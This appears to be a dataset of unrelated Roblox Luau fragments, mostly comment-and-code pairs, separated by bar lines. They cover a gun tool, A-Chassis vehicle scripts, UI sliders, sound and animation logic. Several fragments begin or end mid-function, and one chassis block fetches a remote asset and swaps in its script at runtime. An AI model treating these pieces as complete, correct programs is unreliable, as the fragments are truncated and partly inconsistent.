TargetPosition = TargetPosition + Vector3.new((math.random(-Offset.X, Offset.X) * 0.01), (math.random(-Offset.Y, Offset.Y) * 0.01), (math.random(-Offset.Z, Offset.Z) * 0.01))
end
local Accuracy = (Configuration.Accuracy.Value * 100)
TargetPosition = TargetPosition + Vector3.new((math.random(-Accuracy.X, Accuracy.X) * 0.01), (math.random(-Accuracy.Y, Accuracy.Y) * 0.01), (math.random(-Accuracy.Z, Accuracy.Z) * 0.01))
Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value - 1)
FireRay(StartPosition, TargetPosition)
end
ToggleGui()
wait(Configuration.FireRate.Value)
end
OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = 0.25})
else
Tool.Enabled = true
Sounds.NoAmmo:Play()
Reload()
end
MouseDown = false
Tool.Enabled = true
if Configuration.Ammo.Magazines.Value <= 0 then
Sounds.NoAmmo:Play()
Reload()
end
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Spawn(function()
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
Button1Pressed(true)
end)
Mouse.Button1Up:connect(function()
Button1Pressed(false)
end)
Mouse.KeyDown:connect(function(Key)
KeyPress(Key, true)
end)
Mouse.KeyUp:connect(function(Key)
KeyPress(Key, false)
end)
Humanoid.CameraOffset = Vector3.new(0, 0.35, 0)
OnClientInvoke("PlayAnimation", Animations.Hold)
local PlayerGui = Player:FindFirstChild("PlayerGui")
if PlayerGui then
if UserInputService.TouchEnabled then
InputCheckClone = InputCheck:Clone()
InputCheckClone.InputButton.InputBegan:connect(function()
InvokeServer("Button1Click", {Down = true})
end)
InputCheckClone.InputButton.InputEnded:connect(function()
InvokeServer("Button1Click", {Down = false})
end)
InputCheckClone.Parent = PlayerGui
end
local function AdjustAmmoDisplay()
local Frame = AmmoDisplayClone.Frame
Frame.CurrentWeapon.Text = Configuration.ToolName.Value
local Ammo = Frame.Ammo
Ammo.AmmoCounter.CounterPart.Text = ((Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value) or "--")
Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value
end
AmmoDisplayClone = AmmoDisplay:Clone()
AdjustAmmoDisplay()
AmmoDisplayClone.Parent = PlayerGui
ToggleGui()
for i, v in pairs({ClipSizeChanged, MagazinesChanged}) do
if v then
v:disconnect()
end
end
ClipSizeChanged = Configuration.Ammo.ClipSize.Changed:connect(function()
AdjustAmmoDisplay()
end)
MagazinesChanged = Configuration.Ammo.Magazines.Changed:connect(function()
AdjustAmmoDisplay()
end)
end
for i, v in pairs({"Left Arm", "Right Arm"}) do
local Arm = Character:FindFirstChild(v)
if Arm then
Spawn(function()
OnClientInvoke("SetLocalTransparencyModifier", {Object = Arm, Transparency = 0, AutoUpdate = false})
end)
end
end
Mouse.Icon = Cursors.Normal
end)
end
function Unequipped()
LocalObjects = {}
if CheckIfAlive() then
Humanoid.CameraOffset = Vector3.new(0, 0, 0)
end
for i, v in pairs(Sounds) do
v:Stop()
end
if PlayerMouse then
PlayerMouse.Icon = ""
end
for i, v in pairs({InputCheckClone, ObjectLocalTransparencyModifier, AmmoDisplayClone, ClipSizeChanged, MagazinesChanged}) do
if tostring(v) == "Connection" then
v:disconnect()
elseif v and v.Parent then
v:Destroy()
end
end
MouseDown = false
for i, v in pairs(AnimationTracks) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
AnimationTracks = {}
ToolEquipped = false
end
function InvokeServer(mode, value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(mode, value)
return ServerReturn
end)
end
function OnClientInvoke(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" and value then
SetAnimation("StopAnimation", value)
elseif mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
elseif mode == "MousePosition" then
return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}
elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then
pcall(function()
local ObjectFound = false
for i, v in pairs(LocalObjects) do
if v == value then
ObjectFound = true
end
end
if not ObjectFound then
table.insert(LocalObjects, value)
if ObjectLocalTransparencyModifier then
ObjectLocalTransparencyModifier:disconnect()
end
ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function()
for i, v in pairs(LocalObjects) do
if v.Object and v.Object.Parent then
local CurrentTransparency = v.Object.LocalTransparencyModifier
if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then
v.Object.LocalTransparencyModifier = v.Transparency
end
else
table.remove(LocalObjects, i)
end
end
end)
end
end)
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--[[
Returns a character model wearing an outfit that corresponds to what the
"player" is already wearing, with the addition of one item described by
"itemInfo".
If the player is already wearing something of the same category, that
existing item is removed first.
If no player is provided, create instead a dummy with a default look.
]]
|
local Players = game:GetService("Players")
local MerchBooth = script:FindFirstAncestor("MerchBooth")
local types = require(MerchBooth.types)
local generateDescriptionWithItem = require(script.Parent.generateDescriptionWithItem)
local idleAnimation = Instance.new("Animation")
idleAnimation.Name = "IdleAnimation"
idleAnimation.AnimationId = "rbxassetid://616136790"
local function generateDummyWithItem(itemInfo: types.ItemInfo, player: Player?)
local description = generateDescriptionWithItem(player, itemInfo.assetId, itemInfo.assetType)
local previewAvatar = Players:CreateHumanoidModelFromDescription(description, Enum.HumanoidRigType.R15)
-- Destroys scripts to silence a client-side warning
for _, descendant in ipairs(previewAvatar:GetDescendants()) do
if descendant:IsA("LuaSourceContainer") then
descendant:Destroy()
end
end
local humanoid = previewAvatar:FindFirstChildOfClass("Humanoid")
humanoid.RootPart.CFrame = CFrame.new(0, 1e5, 0)
humanoid.RootPart.Anchored = true
-- Not parenting the character in workspace will cause animations and layered clothing to not render properly
previewAvatar.Parent = workspace
humanoid:LoadAnimation(idleAnimation):Play()
return previewAvatar
end
return generateDummyWithItem
|
--local freeSpaceX,freeSpaceY,freeSpaceZ = 3,3,2.8
|
local freeSpace = Vector3.new(3, 2.8, 3)
local box = script.Parent
local contents = box.Contents
local lidOffset = 3
function r(num)
return math.random(-math.abs(num * 100), math.abs(num * 100)) / 100
end
box.Base.Touched:connect(function(oldHit)
local hit
if oldHit:FindFirstChild("Dragging") then
return
end
if (oldHit:FindFirstChild("Draggable") and oldHit:FindFirstChild("Pickup")) then
hit = oldHit:Clone()
oldHit:Destroy()
elseif (oldHit.Parent and (oldHit.Parent:FindFirstChild("Draggable") and oldHit.Parent:FindFirstChild("Pickup"))) then
hit = oldHit.Parent:Clone()
oldHit.Parent:Destroy()
else
return
end
for _, child in next, hit:GetDescendants() do
if child.Name == "Draggable" then
child:Destroy()
end
end
if hit:IsA("BasePart") then
hit.Anchored = true
hit.CanCollide = false
local vary = freeSpace - hit.Size
-- random x,y,z
print(vary, "as variance")
--hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z))
hit.CFrame = box.PrimaryPart.CFrame * CFrame.new(math.random(-100, 100) / 100, math.random(100, 200) / 100, math.random(-100, 100) / 100)
elseif hit:IsA("Model") then
for _, v in next, hit:GetDescendants() do
if v:IsA("BasePart") then
v.Anchored = true
v.CanCollide = false
end
end
local modelSize = hit:GetExtentsSize()
local vary = freeSpace - modelSize
--hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z)))
hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame * CFrame.new(math.random(-100, 100) / 100, math.random(100, 200) / 100, math.random(-100, 100) / 100))
end -- end of if hit is a basepart or model
hit.Parent = contents
end)
|
--!strict
--[=[
@function some
@within Dictionary
@param dictionary {[K]: V} -- The dictionary to check.
@param predicate (value: V, key: K, dictionary: { [K]: V }) -> any -- The predicate to check against.
@return boolean -- Whether or not the predicate returned true for any value.
Checks whether or not the predicate returned true for any value in the dictionary.
```lua
local dictionary = { hello = "world", cat = "meow", unicorn = "rainbow" }
local hasMeow = Some(dictionary, function(value)
return value == "meow"
end) -- true
local hasDog = Some(dictionary, function(_, key)
return key == "dog"
end) -- false
```
]=]
|
local function some<K, V>(dictionary: { [K]: V }, predicate: (value: V, key: V, dictionary: { [K]: V }) -> any): boolean
for key, value in pairs(dictionary) do
if predicate(value, key, dictionary) then
return true
end
end
return false
end
return some
|
--[[Driver Handling]]
|
--Driver Sit
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
--Distribute Client Interface
local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)
car.Body.MainPart.Anchored = false
car.DriveSeat:SetNetworkOwner(p)
local g=script.Parent["A-Chassis Interface"]:Clone()
g.Parent=p.PlayerGui
end
end)
--Driver Leave
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") then
--Remove Flip Force
if car.DriveSeat:FindFirstChild("Flip")~=nil then
car.DriveSeat.Flip.MaxTorque = Vector3.new()
end
--Remove Wheel Force
for i,v in pairs(car.Wheels:GetChildren()) do
if v:FindFirstChild("#AV")~=nil then
if v["#AV"]:IsA("BodyAngularVelocity") then
if v["#AV"].AngularVelocity.Magnitude>0 then
v["#AV"].AngularVelocity = Vector3.new()
v["#AV"].MaxTorque = Vector3.new()
end
else
if v["#AV"].AngularVelocity>0 then
v["#AV"].AngularVelocity = 0
v["#AV"].MotorMaxTorque = 0
end
end
end
end
end
wait(.2)
if child.Name ~= "Rev" then
car.Body.MainPart.Anchored = true
end
end)
|
--// All global vars will be wiped/replaced except script
|
return function(data)
local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)
local frame = gui.Frame
local frame2 = frame.Frame
local msg = frame2.Message
local ttl = frame2.Title
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
local gone = false
if not data.Message or not data.Title then gTable:Destroy() end
ttl.Text = title
msg.Text = message
ttl.TextTransparency = 1
msg.TextTransparency = 1
ttl.TextStrokeTransparency = 1
msg.TextStrokeTransparency = 1
frame.BackgroundTransparency = 1
local log = {
Type = "Small Screen Message";
Title = title;
Message = message;
Icon = "rbxassetid://7501175708";
Time = os.date("%X");
Function = nil;
}
table.insert(client.Variables.CommunicationsHistory, log)
service.Events.CommsPanel:Fire(log)
local fadeSteps = 10
local blurSize = 10
local textFade = 0.1
local strokeFade = 0.5
local frameFade = 0.3
local blurStep = blurSize/fadeSteps
local frameStep = frameFade/fadeSteps
local textStep = 0.1
local strokeStep = 0.1
local function fadeIn()
gTable:Ready()
for i = 1,fadeSteps do
if msg.TextTransparency>textFade then
msg.TextTransparency = msg.TextTransparency-textStep
ttl.TextTransparency = ttl.TextTransparency-textStep
end
if msg.TextStrokeTransparency>strokeFade then
msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep
end
if frame.BackgroundTransparency>frameFade then
frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep
frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
end
local function fadeOut()
if not gone then
gone = true
for i = 1,fadeSteps do
if msg.TextTransparency<1 then
msg.TextTransparency = msg.TextTransparency+textStep
ttl.TextTransparency = ttl.TextTransparency+textStep
end
if msg.TextStrokeTransparency<1 then
msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
end
if frame.BackgroundTransparency<1 then
frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
service.UnWrap(gui):Destroy()
end
end
gTable.CustomDestroy = function()
fadeOut()
end
fadeIn()
if not tim then
local _,time = message:gsub(" ","")
time = math.clamp(time/2,4,11)+1
wait(time)
else
wait(tim)
end
if not gone then
fadeOut()
end
end
|
-- RightShoulder.MaxVelocity = 0.025
-- LeftShoulder.MaxVelocity = 0.025
-- RightShoulder.DesiredAngle = (math.pi / 2)
-- LeftShoulder.DesiredAngle = -(math.pi / 2)
-- RightHip.DesiredAngle = 1
-- LeftHip.DesiredAngle = -1
|
end
function Move(Time)
local LimbAmplitude
local LimbFrequency
local NeckAmplitude
local NeckFrequency
local NeckDesiredAngle
if (Pose == "Jumping") then
MoveJump()
return
elseif (Pose == "FreeFall") then
MoveFreeFall()
return
elseif (Pose == "Seated") then
MoveSit()
return
end
local ClimbFudge = 0
if (Pose == "Running") then
|
--Rears--
|
for _,v in pairs({
}) do
local open1=false
for _,a in pairs(v.Parts:GetChildren()) do
if a.Name=="Handle" then
local CL = Instance.new("ClickDetector",a)
CL.MaxActivationDistance = 8.5
CL.MouseClick:connect(function()
open1 = not open1
if open1 then
a.DoorOpen:Play()
wait(0.2)
a.Parent.Parent.sHinge1.W.DesiredAngle = 1.5
a.Parent.Parent.sHinge2.W.DesiredAngle = -3
a.Parent.Parent.sHinge3.W.DesiredAngle = -1.5
a.Parent.Parent.sHinge4.W.DesiredAngle = 3
else
a.Parent.Parent.sHinge1.W.DesiredAngle = 0
a.Parent.Parent.sHinge2.W.DesiredAngle = 0
a.Parent.Parent.sHinge3.W.DesiredAngle = 0
a.Parent.Parent.sHinge4.W.DesiredAngle = 0
a.DoorClose:Play()
wait(1.1)
a.Parent.Parent.oHinge1.W.DesiredAngle = 0
a.Parent.Parent.oHinge2.W.DesiredAngle = 0
end
end)
end
end
end
|
-- print(#labelAs, #labelBs)
|
local start = tick()
while wait() do
local alpha = math.min((tick() - start)/speed, 1)
for index,labelA in pairs(labelAs) do
labelA.Position = UDim2.new(1*index + alpha, 0, 0, 0)
end
labelM.Position = UDim2.new(alpha, 0, 0, 0)
for index,labelB in pairs(labelBs) do
labelB.Position = UDim2.new(-1*index + alpha, 0, 0, 0)
end
if alpha >= 1 then
break
end
end
end
end
|
--UpdateTime()
|
while true do
UpdateTime()
game.Lighting.TimeOfDay = hour.Value..":"..min.Value..":"..sec.Value
script.Parent.Name = hour.Value.." : "..min.Value.." : "..sec.Value.. " Day " ..day.Value.. " Month " ..month.Value.. " Year " ..year.Value
wait(1)
end
|
--// Functions
|
function MakeFakeArms()
Arms = Instance.new("Model")
Arms.Name = "Arms"
Arms.Parent = L_5_
local L_171_ = Instance.new("Humanoid")
L_171_.MaxHealth = 0
L_171_.Health = 0
L_171_.Name = ""
L_171_.Parent = Arms
if L_3_:FindFirstChild("Shirt") then
local L_176_ = L_3_:FindFirstChild("Shirt"):clone()
L_176_.Parent = Arms
end
local L_172_ = L_3_:FindFirstChild("Right Arm"):clone()
for L_177_forvar1, L_178_forvar2 in pairs(L_172_:GetChildren()) do
if L_178_forvar2:IsA('Motor6D') then
L_178_forvar2:Destroy()
end
end
L_172_.Name = "Right Arm"
L_172_.FormFactor = "Custom"
L_172_.Size = Vector3.new(0.8, 2.5, 0.8)
L_172_.Transparency = 0.0
local L_173_ = Instance.new("Motor6D")
L_173_.Part0 = L_172_
L_173_.Part1 = L_3_:FindFirstChild("Right Arm")
L_173_.C0 = CFrame.new()
L_173_.C1 = CFrame.new()
L_173_.Parent = L_172_
L_172_.Parent = Arms
local L_174_ = L_3_:FindFirstChild("Left Arm"):clone()
L_174_.Name = "Left Arm"
L_174_.FormFactor = "Custom"
L_174_.Size = Vector3.new(0.8, 2.5, 0.8)
L_174_.Transparency = 0.0
local L_175_ = Instance.new("Motor6D")
L_175_.Part0 = L_174_
L_175_.Part1 = L_3_:FindFirstChild("Left Arm")
L_175_.C0 = CFrame.new()
L_175_.C1 = CFrame.new()
L_175_.Parent = L_174_
L_174_.Parent = Arms
end
function RemoveArmModel()
if Arms then
Arms:Destroy()
Arms = nil
end
end
local L_134_
function CreateShell()
L_134_ = time()
local L_179_ = L_1_.Shell:clone()
if L_179_:FindFirstChild('Shell') then
L_179_.Shell:Destroy()
end
L_179_.CFrame = L_1_.Chamber.CFrame
L_179_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)
--shell.RotVelocity = Vector3.new(-10,40,30)
L_179_.Parent = L_100_
L_179_.CanCollide = false
game:GetService("Debris"):addItem(L_179_, 1)
delay(0.5, function()
if L_19_:FindFirstChild('ShellCasing') then
local L_180_ = L_19_.ShellCasing:clone()
L_180_.Parent = L_2_.PlayerGui
L_180_:Play()
game:GetService('Debris'):AddItem(L_180_, L_180_.TimeLength)
end
end)
end
|
--[[
BaseOcclusion - Abstract base class for character occlusion control modules
2018 Camera Update - AllYourBlox
--]]
| |
--[[Initialize]]
|
script.Parent:WaitForChild("A-Chassis Interface")
script.Parent:WaitForChild("Plugins")
script.Parent:WaitForChild("README")
local car=script.Parent.Parent
local _Tune=require(script.Parent)
wait(_Tune.LoadDelay)
--Update Checker
if _Tune.AutoUpdate then
local newModel
local s,m = pcall(function() newModel = game:GetService("InsertService"):LoadAsset(5181235975) end)
if s then
local MinorUpdate = false
local MajorUpdate = false
local localVersion = script.Parent["A-Chassis Interface"].Version
local newVersion = newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version
if localVersion.Value < newVersion.Value or localVersion.LastMajorUpdate.Value < newVersion.LastMajorUpdate.Value then
if localVersion.LastMajorUpdate.Value < newVersion.LastMajorUpdate.Value then
MajorUpdate = true
else
MinorUpdate = true
end
end
if MajorUpdate then
print("[AC6C]: Chassis update!"
.."\nA major update to A-Chassis 6C has been found."
.."\nThe changes cannot be ported due to the update."
.."\nYou are advised to update your chassis ASAP.")
elseif MinorUpdate then
localVersion.Value = newVersion.Value
print("[AC6C]: Drive script update!"
.."\nAn update to A-Chassis' Drive script has been found."
.."\nThe updated script will take effect next time you get in."
.."\nYou are advised to update your chassis soon.")
script.Parent["A-Chassis Interface"].Drive:Destroy()
newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Drive.Parent = script.Parent["A-Chassis Interface"]
end
newModel:Destroy()
end
end
--Weight Scaling
local weightScaling = _Tune.WeightScaling
local Drive=car.Wheels:GetChildren()
--Remove Existing Mass
function DReduce(p)
for i,v in pairs(p:GetChildren())do
if v:IsA("BasePart") then
if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
v.CustomPhysicalProperties = PhysicalProperties.new(
0,
v.CustomPhysicalProperties.Friction,
v.CustomPhysicalProperties.Elasticity,
v.CustomPhysicalProperties.FrictionWeight,
v.CustomPhysicalProperties.ElasticityWeight
)
v.Massless = true --(LuaInt) but it's just this line
end
DReduce(v)
end
end
DReduce(car)
|
-- places a brick at pos and returns the position of the brick's opposite corner
|
function placeBrick(cf, pos, color)
local brick = Instance.new("Part")
brick.BrickColor = color
brick.CFrame = cf * CFrame.new(pos + brick.Size / 2)
script.Parent.BrickCleanup:Clone().Parent = brick -- attach cleanup script to this brick
brick.BrickCleanup.Disabled = false
brick.Parent = game.Workspace
brick:MakeJoints()
return brick, pos + brick.Size
end
function buildWall(cf)
local color = BrickColor.Random()
local bricks = {}
assert(wallWidth>0)
local y = 0
while y < wallHeight do
local p
local x = -wallWidth/2
while x < wallWidth/2 do
local brick
brick, p = placeBrick(cf, Vector3.new(x, y, 0), color)
x = p.x
table.insert(bricks, brick)
wait(brickSpeed)
end
y = p.y
end
return bricks
end
function snap(v)
if math.abs(v.x)>math.abs(v.z) then
if v.x>0 then
return Vector3.new(1,0,0)
else
return Vector3.new(-1,0,0)
end
else
if v.z>0 then
return Vector3.new(0,0,1)
else
return Vector3.new(0,0,-1)
end
end
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then
return
end
local targetPos = MouseLoc:InvokeClient(game:GetService("Players"):GetPlayerFromCharacter(character))
local lookAt = snap( (targetPos - character.Head.Position).unit )
local cf = CFrame.new(targetPos, targetPos + lookAt)
Tool.Handle.BuildSound:Play()
buildWall(cf)
wait(5)
Tool.Enabled = true
end
Tool.Activated:Connect(onActivated)
|
--[[
Set the current node's status to Failure and adds a message to its list of
errors.
]]
|
function TestSession:setError(message)
assert(#self.nodeStack > 0, "Attempting to set error status on empty stack")
local last = self.nodeStack[#self.nodeStack]
last.status = TestEnum.TestStatus.Failure
table.insert(last.errors, message)
end
|
--This is just some simple server script that moves the object around every frame
--The kinematics module handles the rest
|
game["Run Service"].Heartbeat:Connect(function(deltaTime)
part.Position = startPos + pos
pos += vel * deltaTime
if (pos.x > boxSize) then
vel = Vector3.new( -math.abs(vel.x),0,vel.z)
end
if (pos.x < -boxSize) then
vel = Vector3.new( math.abs(vel.x),0,vel.z)
end
if (pos.z > boxSize) then
vel = Vector3.new(vel.x,0, -math.abs(vel.z))
end
if (pos.z < -boxSize) then
vel = Vector3.new(vel.x,0, math.abs(vel.z))
end
end)
|
--Engine Sound stuff
|
local ShiftLength = 0.35
local OmegaSum = 0
local AvgOmega = 0
local Shifting = false
local ShiftStart = 0
local Gear = 1
local ShiftUp = 1.5
local ShiftDown = 0.85
local OldGear = 1
local EngineSound = script.Parent.Engine
EngineSound:Play()
local function GearRatio(Num)
return 0.014 / (0.2*Num+ 0.08)
end
while true do
wait()
AvgOmega = (OmegaSum/(#Wheels) + AvgOmega)/2
OmegaSum = 0
for i,v in pairs(Wheels) do
local Wheel = v.Wheel
--Raycast to find if the wheel is touching the ground
local OffsetVector = -Base.CFrame.UpVector*Wheel.Size.Y/1.925
local Hit, Pos, Normal = Raycast.new(Wheel.Position, OffsetVector,script.Parent.Parent)
--Touching
if Hit then
--Calculate velocity of bottom of wheel
local Omega = -v.Wheel.CFrame:vectorToObjectSpace(Wheel.RotVelocity).X
OmegaSum = OmegaSum + math.abs(Omega)
local ContactVelocity = Wheel.Velocity + Omega * Wheel.Size.Y/2 * Wheel.CFrame.rightVector:Cross(Normal)
local ObjSpaceVel = Wheel.CFrame:vectorToObjectSpace(ContactVelocity)
local SlideSpeed = ContactVelocity.magnitude
--Position Attachments
v.AttCenter.Position = AttachmentPart.CFrame:PointToObjectSpace(Pos)
local PerpVector = AttachmentPart.CFrame:VectorToObjectSpace( (Normal:Cross(Wheel.Velocity).unit ))
local Offset = PerpVector*0.044*(math.clamp(SlideSpeed-27,0,80))^0.5 + Normal*0.175
v.AttL.Position = v.AttCenter.Position + Offset
v.AttR.Position = v.AttCenter.Position - Offset
v.Smoke.Rate = (math.max(0,SlideSpeed-27))^0.5
--Tyre Sound
v.DriftSound.Pitch = ( math.clamp(4.1/(SlideSpeed^0.28),0.9,2.2) + v.DriftSound.Pitch*3)/4
v.DriftSound.Volume = ( math.clamp(0.009*SlideSpeed^1.2,0,2.5) + v.DriftSound.Volume*3)/4
--Engine Sounds
EngineSound.Volume = 0.1 + 0.4 * math.max(Throttle.Value,0)
local RawPitch = AvgOmega*GearRatio(Gear)
if not Shifting then
if RawPitch > ShiftUp then
OldGear = Gear
Gear = Gear + 1
Shifting = true
ShiftStart = elapsedTime()
elseif RawPitch < ShiftDown and Gear > 1 then
OldGear = Gear
Gear = Gear - 1
Shifting = true
ShiftStart = elapsedTime()
end
else
local pct = (elapsedTime() -ShiftStart)/ShiftLength
RawPitch = AvgOmega*(pct*GearRatio(Gear) + (1-pct)*GearRatio(OldGear))
if pct>=1 then
Shifting = false
end
end
EngineSound.Pitch = math.max(RawPitch,.3)
--Enable or disable tyre sounds and trails
if SlideSpeed > 21 then
v.Beam.Enabled = true
v.Smoke.Enabled = true
if not v.DriftSound.Playing then
v.DriftSound:Play()
end
else
v.Beam.Enabled = false
v.Smoke.Enabled = false
if v.DriftSound.Playing then
v.DriftSound:Stop()
end
end
else --Airborn
v.Beam.Enabled = false
v.Smoke.Enabled = false
if v.DriftSound.Playing then
v.DriftSound:Stop()
end
end
end
end
|
--[[
local slider, changed_event = Slider.new(Function changed_function nil, GuiObject Parent nil, Number min 0, Number max 1, Boolean round false)
slider:Disconnect() -- disconnect all input events
slider:Reconnect() -- reconnect all input events
slider:Destroy() -- destroy the slider UI and Object.
--]]
|
local UserInput = game:GetService("UserInputService")
local Slider = {}
Slider.__index = Slider
Slider.Cloner = script:WaitForChild("Slider")
local CONTROLLER_DEADZONE = .15
function Slider.new(changed_function, parent, map_min, map_max, round)
local self = setmetatable({}, Slider)
self.Value = 0;
self.Connections = {}
self.Destroy = {}
self.Bar = Slider.Cloner:Clone()
self.Bar.Parent = parent
self.Slider = self.Bar.Slider
self.Min = map_min or 0
self.Max = map_max or 1
self.Round = round == nil and false or round
self.Label = self.Bar:FindFirstChild("Label") or self.Slider:FindFirstChild("Label")
self.Changed = Instance.new("BindableEvent")
table.insert(self.Destroy, self.Changed)
table.insert(self.Destroy, self.Bar)
if changed_function then
table.insert(self.Connections, self.Changed.Event:Connect(function(new_val, old_val)
changed_function(new_val, old_val)
end))
end
self:Reconnect()
return self, self.Changed.Event
end
function Slider:Set(value, do_tween)
value = math.clamp(value, self.Min, self.Max)
self.Value = value
local percent = (value - self.Min) / (self.Max - self.Min)
self:Update(percent)
if do_tween then
self.Slider:TweenPosition(UDim2.new(percent,0,.5,0), "Out", "Linear", .5, true)
else
self.Slider.Position = UDim2.new(percent,0,.5,0)
end
end
function Slider:Update(percent)
local old_val = self.Value
local new_val = self.Min + ((self.Max - self.Min) * percent)
if self.Round then
new_val = math.floor(new_val + .5)
end
self.Value = new_val
if self.Label then
self.Label.Text = tostring(new_val)
end
if self.Value ~= old_val then
self.Changed:Fire(new_val, old_val)
end
end
function Slider:Reconnect()
local bar = self.Bar
local slider = self.Slider
local bar_size = bar.AbsoluteSize
bar:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
bar_size = bar.AbsoluteSize
end)
local b_i_b = bar.InputBegan:Connect(function(io)
if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
self.Listening = true
end
end)
local s_i_b = slider.InputBegan:Connect(function(io)
if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
self.Listening = true
end
end)
local i_e = UserInput.InputEnded:Connect(function(io)
if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
self.Listening = nil
end
end)
local selection_g = slider.SelectionGained:Connect(function()
self.Listening = true
end)
local selection_l = slider.SelectionLost:Connect(function()
self.Listening = nil
end)
local mouse_movement = UserInput.InputChanged:Connect(function(io)
if self.Listening == true then
local percent
if io.KeyCode == Enum.KeyCode.Thumbstick1 then
local movement = io.Position.X
if math.abs(movement) > CONTROLLER_DEADZONE then
percent = slider.Position.X.Scale + (movement > 0 and .01 or -.01)
end
elseif io.UserInputType == Enum.UserInputType.MouseMovement or io.UserInputType == Enum.UserInputType.Touch then
local bar_start, bar_end = bar.AbsolutePosition, bar.AbsolutePosition + bar_size
local mouse_pos = io.Position
local distance = bar_end.X - bar_start.X
local difference_mouse = mouse_pos.X - bar_start.X
percent = difference_mouse / (bar_size.X)
end
if percent then
percent = math.clamp(percent, 0, 1)
slider.Position = UDim2.new(percent,0,.5,0)
self:Update(percent)
end
end
end)
table.insert(self.Connections, s_i_b)
table.insert(self.Connections, b_i_b)
table.insert(self.Connections, selection_g)
table.insert(self.Connections, mouse_movement)
table.insert(self.Connections, i_e)
table.insert(self.Connections, selection_l)
end
function Slider:Disconnect()
for i=1,#self.Connections do
local c = self.Connections[i]
c:Disconnect()
end
end
function Slider:Destroy()
for i=1,#self.Destroy do
local d = self.Destroy[i]
d:Destroy()
end
self.Destroy = {}
self:Disconnect()
self = nil
end
return Slider
|
--[[Transmission]]
|
Tune.Clutch = true -- Implements a realistic clutch, change to "false" for the chassis to act like AC6.81T.
Tune.TransModes = {"Auto","Semi","Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
Tune.ClutchMode = "New" --[[
[Modes]
"New" : Speed controls clutch engagement (AC6C V1.2)
"Old" : Speed and RPM control clutch engagement (AC6C V1.1) ]]
Tune.ClutchType = "Clutch" --[[
[Types]
"Clutch" : Standard clutch, recommended
"TorqueConverter" : Torque converter, keeps RPM up
"CVT" : CVT, found in scooters
]]
--[[Transmission]]
--Transmission Settings
Tune.Stall = true -- Stalling, enables the car to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false.
Tune.ClutchRel = false -- If true, the driver must let off the gas before shifting to a higher gear. Recommended false for beginners.
Tune.ClutchEngage = 85 -- How fast engagement is (0 = instant, 99 = super slow)
Tune.SpeedEngage = 18 -- Speed the clutch fully engages at (Based on SPS)
--Clutch: "Old" mode
Tune.ClutchRPMMult = 1.0 -- Clutch RPM multiplier, recommended to leave at 1.0
--Torque Converter:
Tune.TQLock = false -- Torque converter starts locking at a certain RPM
--Torque Converter and CVT:
Tune.RPMEngage = 3500 -- Keeps RPMs to this level until passed
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
